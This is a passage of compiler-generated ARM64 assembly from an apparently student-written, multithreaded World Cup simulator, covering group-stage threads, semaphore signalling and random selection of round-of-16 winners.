str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_E@PAGE
add x3, x3, _grupo_E@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_E_puntos@PAGE
add x4, x4, _grupo_E_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_E_favoritos@PAGE
add x5, x5, _grupo_E_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_F ; -- Begin function jugar_grupo_F
.p2align 2
_jugar_grupo_F: ; @jugar_grupo_F
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_F@PAGE
add x3, x3, _grupo_F@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_F_puntos@PAGE
add x4, x4, _grupo_F_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_F_favoritos@PAGE
add x5, x5, _grupo_F_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_G ; -- Begin function jugar_grupo_G
.p2align 2
_jugar_grupo_G: ; @jugar_grupo_G
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_G@PAGE
add x3, x3, _grupo_G@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_G_puntos@PAGE
add x4, x4, _grupo_G_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_G_favoritos@PAGE
add x5, x5, _grupo_G_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_H ; -- Begin function jugar_grupo_H
.p2align 2
_jugar_grupo_H: ; @jugar_grupo_H
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_H@PAGE
add x3, x3, _grupo_H@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_H_puntos@PAGE
add x4, x4, _grupo_H_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_H_favoritos@PAGE
add x5, x5, _grupo_H_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupos ; -- Begin function jugar_grupos
.p2align 2
_jugar_grupos: ; @jugar_grupos
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str.45@PAGE
add x0, x0, l_.str.45@PAGEOFF
str x0, [sp, #8] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.46@PAGE
add x0, x0, l_.str.46@PAGEOFF
bl _printf
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _printf
sub x0, x29, #8
mov x3, #0
str x3, [sp, #16] ; 8-byte Folded Spill
mov x1, x3
adrp x2, _jugar_grupo_A@PAGE
add x2, x2, _jugar_grupo_A@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
sub x0, x29, #16
mov x1, x3
adrp x2, _jugar_grupo_B@PAGE
add x2, x2, _jugar_grupo_B@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
sub x0, x29, #24
mov x1, x3
adrp x2, _jugar_grupo_C@PAGE
add x2, x2, _jugar_grupo_C@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
sub x0, x29, #32
mov x1, x3
adrp x2, _jugar_grupo_D@PAGE
add x2, x2, _jugar_grupo_D@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
sub x0, x29, #40
mov x1, x3
adrp x2, _jugar_grupo_E@PAGE
add x2, x2, _jugar_grupo_E@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
add x0, sp, #48
mov x1, x3
adrp x2, _jugar_grupo_F@PAGE
add x2, x2, _jugar_grupo_F@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
add x0, sp, #40
mov x1, x3
adrp x2, _jugar_grupo_G@PAGE
add x2, x2, _jugar_grupo_G@PAGEOFF
bl _pthread_create
ldr x3, [sp, #16] ; 8-byte Folded Reload
str w0, [sp, #28]
add x0, sp, #32
mov x1, x3
adrp x2, _jugar_grupo_H@PAGE
add x2, x2, _jugar_grupo_H@PAGEOFF
bl _pthread_create
str w0, [sp, #28]
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _jugar_partido_winners ; -- Begin function jugar_partido_winners
.p2align 2
_jugar_partido_winners: ; @jugar_partido_winners
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur w2, [x29, #-20]
str x3, [sp, #32]
ldur x10, [x29, #-8]
ldur x8, [x29, #-16]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.55@PAGE
add x0, x0, l_.str.55@PAGEOFF
bl _printf
bl _rand
mov w9, #10
str w9, [sp, #20] ; 4-byte Folded Spill
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
str w8, [sp, #28]
bl _rand
ldr w9, [sp, #20] ; 4-byte Folded Reload
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
str w8, [sp, #24]
ldr w8, [sp, #28]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB12_2
b LBB12_1
LBB12_1:
ldur x8, [x29, #-8]
ldr x9, [sp, #32]
ldursw x10, [x29, #-20]
str x8, [x9, x10, lsl #3]
b LBB12_3
LBB12_2:
ldur x8, [x29, #-16]
ldr x9, [sp, #32]
ldursw x10, [x29, #-20]
str x8, [x9, x10, lsl #3]
b LBB12_3
LBB12_3:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _obtener_primero ; -- Begin function obtener_primero
.p2align 2
_obtener_primero: ; @obtener_primero
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
mov w8, #-1
str w8, [sp, #16]
str w8, [sp, #12]
str wzr, [sp, #20]
b LBB13_1
LBB13_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB13_6
b LBB13_2
LBB13_2: ; in Loop: Header=BB13_1 Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
lsl x9, x9, #5
ldr w8, [x8, x9]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB13_4
b LBB13_3
LBB13_3: ; in Loop: Header=BB13_1 Depth=1
ldr w8, [sp, #20]
str w8, [sp, #12]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
lsl x9, x9, #5
ldr w8, [x8, x9]
str w8, [sp, #16]
b LBB13_4
LBB13_4: ; in Loop: Header=BB13_1 Depth=1
b LBB13_5
LBB13_5: ; in Loop: Header=BB13_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB13_1
LBB13_6:
ldr w0, [sp, #12]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _obtener_segundo ; -- Begin function obtener_segundo
.p2align 2
_obtener_segundo: ; @obtener_segundo
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w8, #-1
str w8, [sp, #16]
str w8, [sp, #12]
ldur x0, [x29, #-8]
bl _obtener_primero
str w0, [sp, #8]
stur wzr, [x29, #-12]
b LBB14_1
LBB14_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB14_7
b LBB14_2
LBB14_2: ; in Loop: Header=BB14_1 Depth=1
ldur x8, [x29, #-8]
ldursw x9, [x29, #-12]
lsl x9, x9, #5
ldr w8, [x8, x9]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB14_5
b LBB14_3
LBB14_3: ; in Loop: Header=BB14_1 Depth=1
ldur w8, [x29, #-12]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB14_5
b LBB14_4
LBB14_4: ; in Loop: Header=BB14_1 Depth=1
ldur w8, [x29, #-12]
str w8, [sp, #12]
ldur x8, [x29, #-8]
ldursw x9, [x29, #-12]
lsl x9, x9, #5
ldr w8, [x8, x9]
str w8, [sp, #16]
b LBB14_5
LBB14_5: ; in Loop: Header=BB14_1 Depth=1
b LBB14_6
LBB14_6: ; in Loop: Header=BB14_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB14_1
LBB14_7:
ldr w0, [sp, #12]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _jugar_partido_49 ; -- Begin function jugar_partido_49
.p2align 2
_jugar_partido_49: ; @jugar_partido_49
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_A_puntos@PAGE
add x0, x0, _grupo_A_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_A@PAGE
add x8, x8, _grupo_A@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_B_puntos@PAGE
add x0, x0, _grupo_B_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_B@PAGE
add x8, x8, _grupo_B@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #0
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_50 ; -- Begin function jugar_partido_50
.p2align 2
_jugar_partido_50: ; @jugar_partido_50
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_C_puntos@PAGE
add x0, x0, _grupo_C_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_C@PAGE
add x8, x8, _grupo_C@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_D_puntos@PAGE
add x0, x0, _grupo_D_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_D@PAGE
add x8, x8, _grupo_D@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #1
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_51 ; -- Begin function jugar_partido_51
.p2align 2
_jugar_partido_51: ; @jugar_partido_51
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_B_puntos@PAGE
add x0, x0, _grupo_B_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_B@PAGE
add x8, x8, _grupo_B@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_A_puntos@PAGE
add x0, x0, _grupo_A_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_A@PAGE
add x8, x8, _grupo_A@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #2
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_52 ; -- Begin function jugar_partido_52
.p2align 2
_jugar_partido_52: ; @jugar_partido_52
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_D_puntos@PAGE
add x0, x0, _grupo_D_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_D@PAGE
add x8, x8, _grupo_D@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_C_puntos@PAGE
add x0, x0, _grupo_C_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_C@PAGE
add x8, x8, _grupo_C@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #3
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_53 ; -- Begin function jugar_partido_53
.p2align 2
_jugar_partido_53: ; @jugar_partido_53
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_E_puntos@PAGE
add x0, x0, _grupo_E_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_E@PAGE
add x8, x8, _grupo_E@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_F_puntos@PAGE
add x0, x0, _grupo_F_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_F@PAGE
add x8, x8, _grupo_F@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #4
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_54 ; -- Begin function jugar_partido_54
.p2align 2
_jugar_partido_54: ; @jugar_partido_54
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_G_puntos@PAGE
add x0, x0, _grupo_G_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_G@PAGE
add x8, x8, _grupo_G@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_H_puntos@PAGE
add x0, x0, _grupo_H_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_H@PAGE
add x8, x8, _grupo_H@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #5
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_55 ; -- Begin function jugar_partido_55
.p2align 2
_jugar_partido_55: ; @jugar_partido_55
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_F_puntos@PAGE
add x0, x0, _grupo_F_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_F@PAGE
add x8, x8, _grupo_F@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_E_puntos@PAGE
add x0, x0, _grupo_E_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_E@PAGE
add x8, x8, _grupo_E@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #6
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_partido_56 ; -- Begin function jugar_partido_56
.p2align 2
_jugar_partido_56: ; @jugar_partido_56
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _grupo_H_puntos@PAGE
add x0, x0, _grupo_H_puntos@PAGEOFF
bl _obtener_primero
stur w0, [x29, #-4]
ldursw x9, [x29, #-4]
adrp x8, _grupo_H@PAGE
add x8, x8, _grupo_H@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #16]
adrp x0, _grupo_G_puntos@PAGE
add x0, x0, _grupo_G_puntos@PAGEOFF
bl _obtener_segundo
str w0, [sp, #12]
ldrsw x9, [sp, #12]
adrp x8, _grupo_G@PAGE
add x8, x8, _grupo_G@PAGEOFF
ldr x8, [x8, x9, lsl #3]
str x8, [sp]
ldr x0, [sp, #16]
ldr x1, [sp]
mov w2, #7
adrp x3, _winer_octavos@PAGE
add x3, x3, _winer_octavos@PAGEOFF
bl _jugar_partido_winners
adrp x0, _sem_octavos@GOTPAGE
ldr x0, [x0, _sem_octavos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_octavos ; -- Begin function jugar_octavos
.p2align 2
_jugar_octavos: ; @jugar_octavos
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB23_1
LBB23_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB23_4
b LBB23_2
LBB23_2: ; in Loop: Header=BB23_1 Depth=1
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
